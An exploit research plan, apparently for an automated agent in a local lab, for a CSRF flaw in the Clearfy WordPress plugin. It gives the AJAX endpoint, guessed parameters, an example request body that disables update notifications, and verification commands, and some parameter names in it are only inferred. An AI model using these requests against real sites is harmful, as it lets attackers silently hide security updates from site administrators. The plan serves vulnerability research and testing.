Clearfy <= 2.4.0 - Cross-Site Request Forgery to Update Notification Tampering

This research plan outlines the steps to investigate and exploit CVE-2025-13749, a Cross-Site Request Forgery (CSRF) vulnerability in the Clearfy Cache plugin (<= 2.4.0).

---

1. Vulnerability Summary

The vulnerability exists in the wbcr_upm_change_flag function within the Clearfy plugin (specifically its Update Manager component). This function is responsible for toggling administrative flags that control plugin and theme update notifications. Because the function fails to implement WordPress nonce validation (e.g., check_ajax_referer or wp_verify_nonce), it can be triggered by an authenticated administrator without their knowledge if they are tricked into visiting a malicious page or clicking a crafted link.

2. Attack Vector Analysis

• Target Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: wbcr_upm_change_flag (registered via wp_ajax_wbcr_upm_change_flag)
• Payload Parameters:
  • action: wbcr_upm_change_flag
  • flag_name or name (inferred): The name of the notification flag to modify.
  • flag_value or value (inferred): The desired state (e.g., 0 for enabled, 1 for disabled).
• Authentication Level: Requires a session of a logged-in Administrator (via CSRF).
• Preconditions: The Update Manager component of Clearfy must be active.

3. Code Flow

1. Registration: The plugin registers the AJAX handler in its initialization phase:
   add_action('wp_ajax_wbcr_upm_change_flag', 'wbcr_upm_change_flag');
2. Entry Point: An admin (victim) triggers a POST request to admin-ajax.php with the action wbcr_upm_change_flag.
3. Missing Security Check: The function wbcr_upm_change_flag executes. It likely checks for administrative capabilities using current_user_can('manage_options'), but it does not call check_ajax_referer().
4. Sink: The function reads the flag name and value from the $_POST array and updates the plugin's configuration, typically using update_option() or update_site_option().

4. Nonce Acquisition Strategy

No nonce is required for this exploit.
The essence of the vulnerability is the complete absence of nonce validation. The attacker does not need to steal or generate a nonce; they only need to ensure the victim (Administrator) has an active session cookie when the request is sent.

5. Exploitation Strategy

To exploit this via CSRF, we will simulate a scenario where an admin's browser is forced to send a cross-origin request.

Step-by-Step Plan:

1. Identify Parameters: Use grep to find the exact parameter names in the plugin source.

   grep -rn "function wbcr_upm_change_flag" /var/www/html/wp-content/plugins/clearfy/
   

2. Construct Payload: Based on the grep results, construct a POST request. Assuming parameters are name and value.
3. Execute via http_request: Simulate the CSRF by sending a POST request to the AJAX endpoint using the admin's cookies.

Target Payload (Example):

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Body: action=wbcr_upm_change_flag&name=plugin_updates&value=1 (Disabling plugin update notifications).
• Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

1. Install Plugin: Ensure Clearfy version 2.4.0 is installed and activated.
2. Enable Notifications: Ensure update notifications are currently visible/enabled in the WordPress dashboard.
3. Administrator Session: Ensure you have the session cookies for an admin user.

7. Expected Results

• The server should return a success response (likely a JSON {"success": true} or a simple string 1).
• The targeted update notification setting should be changed in the database.
• The WordPress admin interface should no longer show the disabled notifications.

8. Verification Steps

After sending the http_request, verify the change using WP-CLI to check the underlying option:

# Check the status of Update Manager flags
# The exact option name may vary (e.g., 'wbcr_upm_plugin_updates_disabled')
wp option get wbcr_upm_plugin_updates_disabled

Alternatively, search for all Clearfy/Update Manager options to find the modified value:

wp option list --search="wbcr_upm_*"

9. Alternative Approaches

If wbcr_upm_change_flag is not registered as an AJAX action but as a direct handler for admin_post_:

• Target Endpoint: /wp-admin/admin-post.php
• Method: GET or POST
• Action: wbcr_upm_change_flag

If the function uses $_GET instead of $_POST, the exploit can be simplified to a single <img> tag or a simple browser_navigate call:
http://localhost:8080/wp-admin/admin-ajax.php?action=wbcr_upm_change_flag&name=...&value=...

Source Investigation Commands for the Agent:

# 1. Find the function definition
grep -r "function wbcr_upm_change_flag" /var/www/html/wp-content/plugins/clearfy/

# 2. Find where the action is registered to confirm it's AJAX
grep -r "wbcr_upm_change_flag" /var/www/html/wp-content/plugins/clearfy/ | grep "add_action"

# 3. Read the function body to identify parameters
# (Replace filepath with the result from step 1)
cat /var/www/html/wp-content/plugins/clearfy/[FILEPATH]